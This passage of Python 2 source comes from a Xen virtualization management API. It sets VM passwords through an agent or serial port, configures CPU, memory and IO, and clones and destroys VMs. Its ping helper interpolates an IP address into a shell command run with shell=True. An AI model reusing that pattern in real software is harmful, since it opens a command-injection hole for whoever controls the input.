self._VM_set_passwd(session, vm_ref, vm_ip, passwd, origin_passwd, vm_type) else: host_ip = BNPoolAPI.get_host_ip(host_ref) response = xen_rpc_call(host_ip, "VM_set_passwd", vm_ref, vm_ip, passwd, origin_passwd, vm_type) return response else: response = self._VM_set_passwd(session, vm_ref, vm_ip, passwd, origin_passwd, vm_type) return response def _VM_set_passwd(self, session, vm_ref, vm_ip, passwd, origin_passwd, vm_type ): ''' @author: wuyuewen @summary: Internal method. VM set password use SSH protocol. The set password agent running in Host, use host 10086 port. @precondition: Set password Agent is running, windows VM has SSH-Server installed. @param session: session of RPC. @param vm_ref: VM's uuid @param vm_ip: VM's ip @param passwd: new password @param origin_passwd: origin password @param vm_type: windows | linux @return: True | False @rtype: dict. ''' #log.debug('vm set passwd(%s) ip(%s) origin(%s) new(%s) vm_type(%s)' % (vm_ref, vm_ip, origin_passwd, passwd, vm_type)) # by henry log.debug('vm set passwd(%s) ip(%s) origin(%s) new(%s) vm_type(%s)' % (vm_ref, vm_ip, "********", "********", vm_type)) is_on = self._test_ip(vm_ip, 3) if not is_on: log.debug('vm(%s) ip(%s) cannot ping, try one more time...' % (vm_ref, vm_ip)) is_on = self._test_ip(vm_ip, 3) if not is_on: log.debug('Finally, vm(%s) ip(%s) cannot ping' % (vm_ref, vm_ip)) return xen_api_success(False) proxy = xmlrpclib.Server("http://127.0.0.1:10086") flag = proxy.VM_set_passwd(vm_ip, passwd, origin_passwd, vm_type) return xen_api_success(flag) def VM_set_config(self, session, vm_ref, config, ping=False): ''' @author: wuyuewen @summary: Contain several options: 1. set vm vcpu and memory. 2. start vm. 3. ping vm to check if start. 4. set password use SSH protocol or Serial device. @precondition: Every option has an error handling or rollback option. 1. set vm vcpu and memory error, vm destroy 2. vm cannot start, vm destroy 3. vm cannot ping, vm do not get ip, return error and remain vm to check 4. vm cannot set passwd, return error and remain vm to check @param session: session of RPC. @param vm_ref: VM's uuid @param config: dict type config @param ping: True | False, ping or donnot ping after start. @return: True | False @rtype: dict. @raise xen_api_error: VM set config error, VM start and change password error. ''' log.debug("Starting VM_set_config...") if BNPoolAPI._isMaster: host_ref = BNPoolAPI.get_host_by_vm(vm_ref) if cmp(host_ref, XendNode.instance().uuid) == 0: log.debug('Master node...') response = self._VM_set_config(session, vm_ref, config, ping) else: host_ip = BNPoolAPI.get_host_ip(host_ref) response = xen_rpc_call(host_ip, "VM_set_config", vm_ref, config, ping) return response else: response = self._VM_set_config(session, vm_ref, config, ping) return response def _VM_set_config(self, session, vm_ref, config, ping=False): ''' @author: wuyuewen @summary: Internal method. Contain several options: 1. set vm vcpu and memory. 2. start vm. 3. ping vm to check if start. 4. set password use SSH protocol or Serial device. @precondition: Every option has an error handling or rollback option. 1. set vm vcpu and memory error, vm destroy 2. vm cannot start, vm destroy 3. vm cannot ping, vm do not get ip, return error and remain vm to check 4. vm cannot set passwd, return error and remain vm to check @param session: session of RPC. @param vm_ref: VM's uuid @param config: dict type config @param ping: True | False, ping or donnot ping after start. @return: True | False @rtype: dict. @raise xen_api_error: VM set config error, VM start and change password error. ''' time_log = {} log.debug('vm set config') MB = 1024*1024 vcpu_num = int(config.get('cpuNumber', 1)) memory_value = int(config.get('memoryValue', 1024))*MB vlanid = config.get('vlanId', '-1') IO_read_limit = int(config.get('IOreadLimit', 30)) IO_write_limit = int(config.get('IOwriteLimit', 100)) vm_passwd = config.get('passwd', '') origin_passwd = config.get('origin_passwd', '') vm_ip = config.get('IP', '') vm_type = config.get('type', 'linux') try: st1 = time.time() #1. set cup and memeory vcpu_max = self._VM_get_VCPUs_max('', vm_ref).get('Value') if vcpu_num > vcpu_max: self._VM_set_VCPUs_number_live('', vm_ref, vcpu_num) self._VM_set_VCPUs_max(session, vm_ref, vcpu_num) self._VM_set_VCPUs_at_startup(session, vm_ref, vcpu_num) elif vcpu_num < vcpu_max: self._VM_set_VCPUs_max(session, vm_ref, vcpu_num) self._VM_set_VCPUs_number_live('', vm_ref, vcpu_num) self._VM_set_VCPUs_at_startup(session, vm_ref, vcpu_num) memory = int(self._VM_get_memory_static_max(session, vm_ref).get('Value')) log.debug('memory: %s' % memory) if memory > memory_value: #log.debug('memory > memory_value: --> %s > %s' % (memory, memory_value)) self._VM_set_memory_dynamic_max(session, vm_ref, memory_value) self._VM_set_memory_dynamic_min(session, vm_ref, 512*MB) self._VM_set_memory_static_max(session, vm_ref, memory_value) elif memory < memory_value: #log.debug('memory < memory_value: --> %s < %s' % (memory, memory_value)) self._VM_set_memory_static_max(session, vm_ref, memory_value) self._VM_set_memory_dynamic_max(session, vm_ref, memory_value) self._VM_set_memory_dynamic_min(session, vm_ref, 512*MB) #2. set vlanid #self._VM_set_tag_by_ethnum(session, vm_ref, 0, vlanid) #log.debug('set tag in other config:>>>>>>>>>>>>>>>>') dominfo = XendDomain.instance().get_vm_by_uuid(vm_ref) dominfo.info['other_config'].setdefault('tag',{}) dominfo.info['other_config']['tag']['0'] = vlanid #self._VM_save(dominfo) #3. set IO limit self._VM_set_IO_rate_limit(session, vm_ref, 'write', IO_write_limit, 'MBps') e1 = time.time() - st1 time_log['set config'] = e1 log.debug('4. finish set vm(%s) vcpu,memeory and io rate limit' % vm_ref) log.debug('====set vm(%s) vcpu,memeory and io rate limit cost time: %s=======' % (vm_ref, e1)) except Exception, exn: log.error(exn) self.VM_destroy(session, vm_ref, True) storage = self._get_BNStorageAPI_instance() storage.VDI_destroy(session, vm_ref) return xen_api_error(['VM set config error']) try: #5. start vm # st2 = time.time() log.debug('5. excute start vm>>>>>>>>>>>>>>>>>>') start_status = self._VM_start(session, vm_ref, False, True).get('Status') if start_status == 'Failure': self._VM_destroy(session, vm_ref, True) # start failed, vm destroy log.debug('6. vm start failed>>>>>>>>> return') return xen_api_error('vm(%s) start error' % vm_ref) is_setPasswd = False if vm_ip: if ping: timeout = 120 deadline = 1 st2 = time.time() log.debug('6. start to check whether vm load OS>>>>>') is_on = self._VM_start_checkout(vm_ip, timeout, deadline) e2 = time.time() - st2 log.debug('=====vm(%s) start and load OS cost time: %s=======' %(vm_ref, e2)) # time_log['load os'] = e2 if not is_on: log.debug('7. vm(%s) cannot ping in %s times' % (vm_ref, str(timeout * 1))) return xen_api_error('vm(%s) cannot ping in %s' % (vm_ref, str(timeout * 1))) if is_on and vm_passwd and origin_passwd: set_passwd = threading.Thread(target=self._set_passwd, name='set_passwd',\ kwargs={'session':session, 'vm_ip':vm_ip, 'vm_ref':vm_ref, 'vm_passwd':vm_passwd, \ 'origin_passwd':origin_passwd, 'vm_type':vm_type}) set_passwd.start() else: check_start_and_set_passwd = threading.Thread(target=self._check_start_and_set_passwd, name='check_start_and_set_passwd',\ kwargs={'session':session, 'vm_ip':vm_ip, 'vm_ref':vm_ref, 'vm_passwd':vm_passwd, \ 'origin_passwd':origin_passwd, 'vm_type':vm_type}) check_start_and_set_passwd.start() else: log.debug('Start VM and change passwd using serial.') if ping: timeout = 120 st2 = time.time() log.debug('6. start to check whether vm load OS via serial>>>>>') is_on = self._VM_start_checkout_via_serial(session, vm_ref, timeout) e2 = time.time() - st2 log.debug('=====vm(%s) start and load OS cost time: %s=======' %(vm_ref, e2)) # time_log['load os'] = e2 if not is_on: log.debug('7. vm(%s) cannot ping via serial in %s times' % (vm_ref, str(timeout * 1))) return xen_api_error('vm(%s) cannot ping via serial in %s' % (vm_ref, str(timeout * 1))) if is_on and vm_passwd: set_passwd = threading.Thread(target=self._set_passwd_via_serial, name='set_passwd_via_serial',\ kwargs={'session':session, 'vm_ref':vm_ref, 'vm_passwd':vm_passwd, \ 'vm_type':vm_type}) set_passwd.start() else: check_start_and_set_passwd = threading.Thread(target=self._check_start_and_set_passwd_via_serial, name='check_start_and_set_passwd_via_serial',\ kwargs={'session':session, 'vm_ref':vm_ref, 'vm_passwd':vm_passwd, \ 'vm_type':vm_type}) check_start_and_set_passwd.start() # finally: # self.__set_passwd_lock__.release() #6. get record of VM st4 = time.time() VM_record = self._VM_get_record(session, vm_ref).get('Value') if VM_record and isinstance(VM_record, dict): VM_record['setpasswd'] = is_setPasswd e4 = time.time() - st4 e5 = time.time() - st1 time_log['get record'] = e4 time_log['total'] = e5 log.debug('return vm record----> %s' % VM_record) log.debug('8.vm create from template Succeed!>>>>>>>>>>') log.debug('===vm(%s) set config cost time===' % vm_ref) # time_log['set config'] = e1 # time_log['load os'] = e2 # time_log['set passwd'] = e3 if time_log.get('set config', ''): log.debug('set vm vcpu,memeory and io rate limit cost time: %s' % e1) # if time_log.get('load os', ''): # log.debug('vmstart and load OS cost time: %s' % e2) # if time_log.get('set passwd'): # log.debug('vm set passwd cost time: %s' % e3) if time_log.get('get record'): log.debug('vm get record cost time: %s' % e4) if time_log.get('total'): log.debug('>>>>Total time<<<<: %s' % e5) log.debug('=====vm(%s) end=====' % (vm_ref)) return xen_api_success(VM_record) except Exception, exn: log.error(exn) if isinstance(exn, VMBadState): return xen_api_error(['VM start error, bad power state.']) log.error('9.vm create error....shutdown and remove vm(%s)' % vm_ref) self._VM_hard_shutdown(session, vm_ref) self.VM_destroy(session, vm_ref, True) storage = self._get_BNStorageAPI_instance() storage.VDI_destroy(session, vm_ref) return xen_api_error(['VM start and change password error']) def _check_start_and_set_passwd(self, session, vm_ip, vm_ref, vm_passwd, origin_passwd, vm_type): ''' @author: wuyuewen @summary: Internal method. ''' timeout = 120 deadline = 1 st2 = time.time() log.debug('6. start to check whether vm load OS>>>>>') is_on = self._VM_start_checkout(vm_ip, timeout, deadline) e2 = time.time() - st2 log.debug('=====vm(%s) start and load OS cost time: %s=======' %(vm_ref, e2)) # time_log['load os'] = e2 if not is_on: log.debug('7. vm(%s) cannot ping in %s times' % (vm_ref, str(timeout * 1))) return xen_api_error('vm(%s) cannot ping in %s' % (vm_ref, str(timeout * 1))) #raise Exception, '7. vm(vm_ref) cannot ping in %s s' % (vm_ref, timeout) if is_on and vm_passwd and origin_passwd: # self.__set_passwd_lock__.acquire() # try: st3 = time.time() is_setPasswd = self._VM_set_passwd(session, vm_ref, vm_ip, vm_passwd, origin_passwd, vm_type).get('Value', '') log.debug("7. set passwd result = %s type= %s" % (is_setPasswd, type(is_setPasswd))) if not is_setPasswd: log.debug('vm(%s) set passwd failed!' % vm_ref) e3 = time.time() - st3 log.debug('======vm(%s) set passwd cost time: %s=======' %(vm_ref, e3)) # time_log['set passwd'] = e3 def _check_start_and_set_passwd_via_serial(self, session, vm_ref, vm_passwd, vm_type): ''' @author: wuyuewen @summary: Internal method. ''' timeout = 200 st2 = time.time() log.debug('6. start to check whether vm load OS via serial>>>>>') is_on = self._VM_start_checkout_via_serial(session, vm_ref, timeout) e2 = time.time() - st2 log.debug('=====vm(%s) start and load OS cost time: %s=======' %(vm_ref, e2)) # time_log['load os'] = e2 if not is_on: log.debug('7. vm(%s) cannot ping via serial in %s times' % (vm_ref, str(timeout * 1))) return xen_api_error('vm(%s) cannot ping via serial in %s' % (vm_ref, str(timeout * 1))) #raise Exception, '7. vm(vm_ref) cannot ping in %s s' % (vm_ref, timeout) if is_on and vm_passwd: # self.__set_passwd_lock__.acquire() # try: # st3 = time.time() self._set_passwd_via_serial(session, vm_ref, vm_passwd, vm_type) # log.debug("7. set passwd via serial result = %s type= %s" % (is_setPasswd, type(is_setPasswd))) # if not is_setPasswd: # log.debug('vm(%s) set passwd via serial failed!' % vm_ref) # e3 = time.time() - st3 # log.debug('======vm(%s) set passwd cost time: %s=======' %(vm_ref, e3)) # time_log['set passwd'] = e3 def _set_passwd(self, session, vm_ip, vm_ref, vm_passwd, origin_passwd, vm_type): ''' @author: wuyuewen @summary: Internal method. ''' st3 = time.time() is_setPasswd = self._VM_set_passwd(session, vm_ref, vm_ip, vm_passwd, origin_passwd, vm_type).get('Value', '') log.debug("7. set passwd result = %s type= %s" % (is_setPasswd, type(is_setPasswd))) if not is_setPasswd: log.debug('vm(%s) set passwd failed!' % vm_ref) e3 = time.time() - st3 log.debug('======vm(%s) set passwd cost time: %s=======' %(vm_ref, e3)) # test if ping ip return true def _test_ip(self, ip, deadline = 1): ''' @author: wuyuewen @summary: Internal method. ''' import os import subprocess import datetime time1 = datetime.datetime.now() cmd = "ping -w %s %s" % (deadline, ip) re = subprocess.call(cmd, shell=True) time2 = datetime.datetime.now() t = time2 - time1 log.debug('ping %s result: %s, cost time: %s' %(ip, re, str(t))) if re: return False else: return True def _set_passwd_via_serial(self, session, vm_ref, vm_passwd, vm_type): ''' @author: wuyuewen @summary: Internal method. ''' st3 = time.time() response = self._VM_get_platform_serial(session, vm_ref) if cmp(response['Status'], 'Failure') == 0: log.exception('VM_get_platform_serial failed!') return xen_api_success(False) address = response.get('Value') log.debug('serial port: %s' % str(address)) if not address: log.error('VM serial not correct!') return xen_api_success(False) (ip, port) = address import json if cmp(vm_type, 'linux') == 0: userName = 'root' else: userName = 'Administrator' json_obj = json.dumps({'requestType':'Agent.SetPassword', 'userName':userName, 'password':vm_passwd}) is_setPasswd = Netctl.serial_opt(ip, port, json_obj, False) log.debug("7. set passwd via serial, result = %s type= %s" % (is_setPasswd, type(is_setPasswd))) if not is_setPasswd: log.debug('vm(%s) set passwd via serial failed!' % vm_ref) e3 = time.time() - st3 log.debug('======vm(%s) set passwd cost time: %s=======' %(vm_ref, e3)) def _VM_start_checkout(self, vm_ip, timeout = 60, deadline = 1): ''' @author: wuyuewen @summary: Internal method. ''' log.debug('VM load os checkout>>>>') cnt = 0 while cnt < timeout: if self._test_ip(vm_ip, deadline): return True # time.sleep(1) cnt += 1 log.debug('vm not start>>>>>') return False def _VM_start_checkout_via_serial(self, session, vm_ref, timeout = 60): ''' @author: wuyuewen @summary: Internal method. ''' log.debug('VM load os checkout>>>>') response = self._VM_get_platform_serial(session, vm_ref) if cmp(response['Status'], 'Failure') == 0: log.exception('VM_get_platform_serial failed!') return xen_api_success(False) address = response.get('Value') log.debug('serial port: %s' % str(address)) if not address: log.error('VM serial not correct!') return xen_api_success(False) (ip, port) = address import json json_obj = json.dumps({'requestType':'Agent.Ping'}) log.debug(json_obj) if self._test_serial(ip, port, json_obj, timeout): return True # cnt = 0 # while cnt < timeout: # if self._test_serial(ip, port, json_obj): # return True ## time.sleep(1) # cnt += 1 log.debug('vm not start>>>>>') return False def _test_serial(self, ip, port, json_obj, timeout): ''' @author: wuyuewen @summary: Internal method. ''' import datetime time1 = datetime.datetime.now() re = Netctl.serial_opt(ip, port, json_obj, False, timeout, True) time2 = datetime.datetime.now() t = time2 - time1 log.debug('ping %s:%s result: %s, cost time: %s' %(ip, port, re, str(t))) return re ''' generate template from vm 1. vm_clone 2. set template return True or False ''' def VM_create_image(self, session, vm_ref, template_name, template_uuid): ''' @author: wuyuewen @summary: Generate template from VM, contain several options: 1. vm_clone 2. set template @param session: session of RPC. @param vm_ref: VM's uuid @param template_name: new template name. @param template_uuid: template uuid @return: True | False @rtype: dict. ''' log.debug('==========vm(%s) create template==========' % vm_ref) result = False try: response = self.VM_clone(session, vm_ref, template_name, None, template_uuid) if response.get('Status') == 'Success': domuuid = response.get('Value') assert domuuid == template_uuid log.debug('new VM uuid:%s' % domuuid) self.VM_set_is_a_template(session, template_uuid, True) result = True except Exception, exn: log.exception(exn) self.VM_destroy(session, template_uuid, True) finally: log.debug('============end===============') return xen_api_success(result) def VM_clone(self, session, vm_ref, newname, vdi_uuid_map = None, newuuid = None, vdi_exists = False): ''' @author: wuyuewen @summary: Internal method. Clone VM, contain several options: 1. get origin VM's VDIs 2. clone VM 3. if clone VM success, clone VDIs @param session: session of RPC. @param vm_ref: origin VM's uuid @param newname: new VM's name @param vdi_uuid_map: origin VM's VDIs mapping to new clone VDIs @param newuuid: new VM's uuid @param vdi_exists: True | False, if new VDIs exist or not(create in advance). @return: True | False @rtype: dict. ''' log.debug('in VM_clone') storage = self._get_BNStorageAPI_instance() if not vdi_uuid_map: vdis_resp = storage.VDI_get_by_vm(session, vm_ref) sys_vdi = self.VM_get_system_VDI(session, vm_ref).get('Value', '') if not newuuid: newuuid = genuuid.gen_regularUuid() check_uuid = self._VM_create_check_vm_uuid_unique(newuuid) if not check_uuid: return xen_api_error(XEND_API_ERROR_VM_UNIQUE_UUID_ERROR) vdi_uuid_map = {} vdis = vdis_resp.get('Value', []) if vdis: for vdi in vdis: vdi_uuid_map[vdi] = genuuid.gen_regularUuid() if sys_vdi in vdis: vdi_uuid_map[sys_vdi] = newuuid if BNPoolAPI._isMaster: h_ref = BNPoolAPI.get_host_by_vm(vm_ref) #mapping parrent vdi's uuid to new one. h_ip = BNPoolAPI.get_host_ip(h_ref) if self.VM_get_is_local_vm(session, vm_ref).get('Value'): return xen_rpc_call(h_ip, 'VM_clone_local', vm_ref, newname, vdi_uuid_map, newuuid) log.debug("VM_clone, vdi map:") log.debug(vdi_uuid_map) if cmp(h_ref, XendNode.instance().uuid) == 0: log.debug("clone from master") response = self._VM_clone(session, vm_ref, newname, vdi_uuid_map, newuuid) domuuid = response.get('Value') if domuuid: BNPoolAPI.update_data_struct("vm_clone", domuuid, h_ref) else: log.debug("clone from slave") response = xen_rpc_call(h_ip, 'VM_clone', vm_ref, newname, vdi_uuid_map, newuuid) domuuid = response.get('Value') log.debug('New domain uuid: %s' % domuuid) if domuuid: BNPoolAPI.update_data_struct("vm_clone", domuuid, h_ref) if not vdi_exists: storage.VDI_clone(session, vdi_uuid_map, newname, domuuid) # log.debug("return from async") return response else: log.debug('in VM_clone local') if self.VM_get_is_local_vm(session, vm_ref).get('Value'): response = self.VM_clone_local(session, vm_ref, newname, vdi_uuid_map, newuuid) else: log.debug('in VM_clone local, else') response = self._VM_clone(session, vm_ref, newname, vdi_uuid_map, newuuid) domuuid = response.get('Value') if not vdi_exists: storage.VDI_clone(session, vdi_uuid_map, newname, domuuid) return response def VM_clone_local(self, session, vm_ref, newname, vdi_uuid_map=None, newuuid=None): ''' @deprecated: not used ''' storage = self._get_BNStorageAPI_instance() vdis_resp = storage.VDI_get_by_vm(session, vm_ref) if not vdi_uuid_map: vdi_uuid_map = {} vdis = vdis_resp.get('Value') if vdis: for vdi in vdis: vdi_uuid_map[vdi] = genuuid.gen_regularUuid() log.debug(vdi_uuid_map) response = self._VM_clone(session, vm_ref, newname, vdi_uuid_map, newuuid) domuuid = response.get('Value') if domuuid: BNPoolAPI.update_data_struct("vm_clone", domuuid, XendNode.instance().uuid) response = storage._VDI_clone(session, vdi_uuid_map, newname, vm_ref) vdi_uuid = response.get('Value') if vdi_uuid: #BNPoolAPI.update_VDI_create(host_ref, sr_ref) BNPoolAPI.update_data_struct("vdi_create", XendNode.instance().uuid, vdi_uuid) return xen_api_success(domuuid) def _VM_clone(self, session, vm_ref, newname, vdi_uuid_map=None, newuuid=None): log.debug('in _VM_clone') xendom = XendDomain.instance() domuuid = XendTask.log_progress(0, 100, xendom.domain_clone, vm_ref, newname,\ vdi_uuid_map, newuuid) return xen_api_success(domuuid) ''' when clone a VM, need to pass the MAC value ''' def VM_clone_MAC(self, session, vm_ref, newname, mac_addr, vdi_uuid_map = None, newuuid = None, vdi_exists = False): ''' @author: wuyuewen @summary: Clone VM with param MAC. @see VM_clone ''' log.debug('in VM_clone with MAC...') storage = self._get_BNStorageAPI_instance() if not vdi_uuid_map: vdis_resp = storage.VDI_get_by_vm(session, vm_ref) sys_vdi = self.VM_get_system_VDI(session, vm_ref).get('Value', '') if not newuuid: newuuid = genuuid.gen_regularUuid() check_uuid = self._VM_create_check_vm_uuid_unique(newuuid) if not check_uuid: return xen_api_error(XEND_API_ERROR_VM_UNIQUE_UUID_ERROR) vdi_uuid_map = {} vdis = vdis_resp.get('Value', []) if vdis: for vdi in vdis: vdi_uuid_map[vdi] = genuuid.gen_regularUuid() if sys_vdi in vdis: vdi_uuid_map[sys_vdi] = newuuid if BNPoolAPI._isMaster: h_ref = BNPoolAPI.get_host_by_vm(vm_ref) #mapping parrent vdi's uuid to new one. h_ip = BNPoolAPI.get_host_ip(h_ref) if self.VM_get_is_local_vm(session, vm_ref).get('Value'): return xen_rpc_call(h_ip, 'VM_clone_local_MAC', vm_ref, newname, mac_addr, vdi_uuid_map, newuuid) log.debug("VM_clone, vdi map:") log.debug(vdi_uuid_map) # log.debug("update pool data structs before clone!!!") # BNPoolAPI.update_data_struct("vm_clone", newuuid, h_ref) if cmp(h_ref, XendNode.instance().uuid) == 0: log.debug("clone from master") response = self._VM_clone_MAC(session, vm_ref, newname, mac_addr, vdi_uuid_map, newuuid) # domuuid = response.get('Value') # if domuuid: # BNPoolAPI.update_data_struct("vm_clone", domuuid, h_ref) else: log.debug("clone from slave") response = xen_rpc_call(h_ip, 'VM_clone_MAC', vm_ref, newname, mac_addr, vdi_uuid_map, newuuid) # domuuid = response.get('Value') # log.debug('New domain uuid: %s' % domuuid) # if domuuid: # BNPoolAPI.update_data_struct("vm_clone", domuuid, h_ref) if cmp(response.get('Status'), 'Success') == 0: domuuid = response.get('Value') if not domuuid: log.exception('WARNING: VM_clone_MAC, domuuid not return!!!') domuuid = newuuid BNPoolAPI.update_data_struct("vm_clone", domuuid, h_ref) else: BNPoolAPI.update_data_struct("vm_clone", domuuid, h_ref) if not vdi_exists: storage.VDI_clone(session, vdi_uuid_map, newname, domuuid) return response else: if self.VM_get_is_local_vm(session, vm_ref).get('Value'): response = self.VM_clone_local_MAC(session, vm_ref, newname, mac_addr, vdi_uuid_map, newuuid) else: log.debug('in VM_clone MAC') log.debug("VM_clone, vdi map:") log.debug(vdi_uuid_map) response = self._VM_clone_MAC(session, vm_ref, newname, mac_addr, vdi_uuid_map, newuuid) domuuid = response.get('Value') if not vdi_exists: storage.VDI_clone(session, vdi_uuid_map, newname, domuuid) return response def VM_clone_local_MAC(self, session, vm_ref, newname, mac_addr, vdi_uuid_map=None, newuuid=None): ''' @deprecated: not used ''' log.debug('VM_clone_local_MAC >>>>>') storage = self._get_BNStorageAPI_instance() vdis_resp = storage.VDI_get_by_vm(session, vm_ref) if not vdi_uuid_map: vdi_uuid_map = {} vdis = vdis_resp.get('Value') if vdis: for vdi in vdis: vdi_uuid_map[vdi] = genuuid.gen_regularUuid() log.debug(vdi_uuid_map) response = self._VM_clone_MAC(session, vm_ref, newname, mac_addr, vdi_uuid_map, newuuid = newuuid) domuuid = response.get('Value') if domuuid: BNPoolAPI.update_data_struct("vm_clone", domuuid, XendNode.instance().uuid) response = storage._VDI_clone(session, vdi_uuid_map, newname, vm_ref) vdi_uuid = response.get('Value') if vdi_uuid: #BNPoolAPI.update_VDI_create(host_ref, sr_ref) BNPoolAPI.update_data_struct("vdi_create", XendNode.instance().uuid, vdi_uuid) return xen_api_success(domuuid) def _VM_clone_MAC(self, session, vm_ref, newname, mac_addr, vdi_uuid_map=None, newuuid=None): ''' @author: wuyuewen @summary: Internal method. @see: VM_clone_MAC ''' log.debug('in _VM_clone_MAC') xendom = XendDomain.instance() domuuid = xendom.domain_clone_MAC(vm_ref, newname, mac_addr, vdi_uuid_map, newuuid) # domuuid = XendTask.log_progress(0, 100, xendom.domain_clone_MAC, vm_ref, newname, mac_addr,\ # vdi_uuid_map, newuuid) return xen_api_success(domuuid) def VM_clone_system_VDI(self, session, vm_ref, newuuid): ''' @author: wuyuewen @summary: Clone VM system VDI @param session: session of RPC. @param vm_ref: VM's uuid @param newuuid: new VDI uuid @return: True | False @rtype: dict. @raise xen_api_error: ''' if BNPoolAPI._isMaster: host_ref = BNPoolAPI.get_host_by_vm(vm_ref) if cmp(host_ref, XendNode.instance().uuid) == 0: return self._VM_clone_system_VDI(session, vm_ref, newuuid) else: host_ip = BNPoolAPI.get_host_ip(host_ref) return xen_rpc_call(host_ip, 'VM_clone_system_VDI', vm_ref, newuuid) else: return self._VM_clone_system_VDI(session, vm_ref, newuuid) def _VM_clone_system_VDI(self, session, vm_ref, newuuid): ''' @author: wuyuewen @summary: Internal method. @see: VM_clone_system_VDI ''' try: storage = self._get_BNStorageAPI_instance() sys_vdi = self.VM_get_system_VDI(session, vm_ref).get('Value') if sys_vdi: vdi_uuid_map = { sys_vdi : newuuid } new_vdi = storage.VDI_clone(session, vdi_uuid_map, newuuid, newuuid).get('Value') if new_vdi: return xen_api_success(new_vdi) else: return xen_api_error(['VM_clone_system_VDI', ' Failed']) else: return xen_api_error(['VM_clone_system_VDI', ' orig VDI not found!']) except Exception, exn: log.debug(exn) storage.VDI_destroy(session, newuuid) return xen_api_error(['VM_clone_system_VDI', ' Exception']) def VM_destroy(self, session, vm_ref, del_vdi=False, del_ha_sxp=True, update_pool_structs=True): ''' @author: wuyuewen @summary: Destroy the specified VM. The VM is completely removed from the system. This function can only be called when the VM is in the Halted State. @param session: session of RPC. @param vm_ref: VM's uuid @param del_vdi: True | False, destroy VM's VDIs either @param del_ha_sxp: True | False, destroy sxp file in HA dir. @param update_pool_structs: True | False, update_pool_structs in Xend memory structure. @return: True | False @rtype: dict. @raise xen_api_error: ''' storage = self._get_BNStorageAPI_instance() if BNPoolAPI._isMaster: host_ref = BNPoolAPI.get_host_by_vm(vm_ref) host_ip = BNPoolAPI.get_host_ip(host_ref) if self.VM_get_is_local_vm(session, vm_ref).get('Value'): log.debug("destroy local vm: %s" % vm_ref) return xen_rpc_call(host_ip, 'VM_destroy_local', vm_ref, True) if cmp(host_ref, XendNode.instance().uuid) == 0: vdis = storage._VDI_get_by_vm(session, vm_ref).get('Value') response = self._VM_destroy(session, vm_ref, del_ha_sxp, update_pool_structs) else: vdis = xen_rpc_call(host_ip, 'VDI_get_by_vm', vm_ref).get('Value') response = xen_rpc_call(host_ip, 'VM_destroy', vm_ref, del_vdi, del_ha_sxp, update_pool_structs) if update_pool_structs: BNPoolAPI.update_data_struct("vm_destroy", vm_ref) if del_vdi and vdis: ## host_ip = BNPoolAPI.get_host_ip(XendNode.instance().uuid) for vdi in vdis: log.debug('destroy vdi: %s' % vdi) storage.VDI_destroy(session, vdi) # xen_rpc_call(host_ip, 'VDI_destroy', vdi, True) return response else: if self.VM_get_is_local_vm(session, vm_ref).get('Value'): response = self.VM_destroy_local(session, vm_ref, del_vdi) else: vdis = storage._VDI_get_by_vm(session, vm_ref).get('Value') response = self._VM_destroy(session, vm_ref, del_ha_sxp, update_pool_structs) if del_vdi and vdis: # host_ip = BNPoolAPI.get_host_ip(XendNode.instance().uuid) for vdi in vdis: log.debug('destroy vdi: %s' % vdi) storage.VDI_destroy(session, vdi) return response def VM_destroy_local(self, session, vm_ref, del_vdi=False): ''' @deprecated: not used ''' storage = self._get_BNStorageAPI_instance() vdis = storage._VDI_get_by_vm(session, vm_ref).get('Value') response = self._VM_destroy(session, vm_ref, False) BNPoolAPI.update_data_struct("vm_destroy", vm_ref) if del_vdi and vdis: for vdi in vdis: storage._VDI_destroy(session, vdi) return response def _VM_destroy(self, session, vm_ref, del_ha_sxp=False, update_pool_structs=True): ''' @author: wuyuewen @summary: Internal method. @see: VM_destroy ''' self._VM_clean_IO_limit_shutdown(session, vm_ref) #add by wufan dom = XendDomain.instance().get_vm_by_uuid(vm_ref) # vifs = dom.get_vifs() # if vifs: # for vif in dom.get_vifs(): # self._VM_del_ip_map(session, vm_ref, vif) return XendTask.log_progress(0, 100, do_vm_func, "domain_delete", vm_ref, del_ha_sxp, update_pool_structs) def VM_get_lost_vm_by_label(self, session, label, exactMatch): ''' @author: wuyuewen @summary: In some uncommon conditions VM will destroy by Xend but VM disk(VDIs) still exist. This method can find VM via HA stored sxp file. @param session: session of RPC. @param label: label(uuid or name) of VM @param exactMatch: full match the given label @return: list of VMs @rtype: dict. ''' if BNPoolAPI._isMaster: all_vms = {} all_vms = self._VM_get_lost_vm_by_label(session, label, exactMatch).get('Value') for k in BNPoolAPI.get_hosts(): if cmp(k, XendNode.instance().uuid) == 0: continue remote_ip = BNPoolAPI.get_host_ip(k) response = xen_rpc_call(remote_ip, 'VM_get_lost_vm_by_label', label, exactMatch) remote_vms = response.get('Value') if remote_vms: all_vms.update(remote_vms) # log.debug(all_vms) return xen_api_success(all_vms) else: return self._VM_get_lost_vm_by_label(session, label, exactMatch) def _VM_get_lost_vm_by_label(self, session, label, exactMatch): ''' @author: wuyuewen @summary: Internal method. @see: VM_get_lost_vm_by_label ''' xendom = XendDomain.instance() return xen_api_success(xendom.find_lost_vm_by_label(label, exactMatch)) def VM_get_lost_vm_by_date(self, session, date1, date2): ''' @author: wuyuewen @summary: In some uncommon conditions VM will destroy by Xend but VM disk(VDIs) still exist. This method can find VM via HA stored sxp file. @param session: session of RPC. @param date1: date of start @param date2: date of end @return: list of VMs @rtype: dict. ''' if BNPoolAPI._isMaster: all_vms = {} now_vms = [] all_vms = self._VM_get_lost_vm_by_date(session, date1, date2).get('Value') for k in BNPoolAPI.get_hosts(): if cmp(k, XendNode.instance().uuid) == 0: continue remote_ip = BNPoolAPI.get_host_ip(k) response = xen_rpc_call(remote_ip, 'VM_get_lost_vm_by_date', date1, date2) remote_vms = response.get('Value') if remote_vms: all_vms.update(remote_vms) now_vms_resp = self.VM_get_all(session) if cmp(now_vms_resp['Status'], 'Success') == 0: now_vms = now_vms_resp.get("Value") if now_vms: for i in all_vms.keys(): vm_uuid_s = re.search("\/(S+)\/", i) if i in now_vms: del all_vms[i] continue # log.debug(all_vms) return xen_api_success(all_vms) else: return self._VM_get_lost_vm_by_date(session, date1, date2) def _VM_get_lost_vm_by_date(self, session, date1, date2): ''' @author: wuyuewen @summary: Internal method. @see: VM_get_lost_vm_by_date ''' xendom = XendDomain.instance() return xen_api_success(xendom.find_lost_vm_by_date(date1, date2)) def VM_hard_reboot(self, session, vm_ref): ''' @author: wuyuewen @summary: Stop executing the specified VM without attempting a clean shutdown and immediately restart the VM. @param session: session of RPC. @param vm_ref: VM's uuid @return: True | False @rtype: dict. @raise VMBadState: ''' if 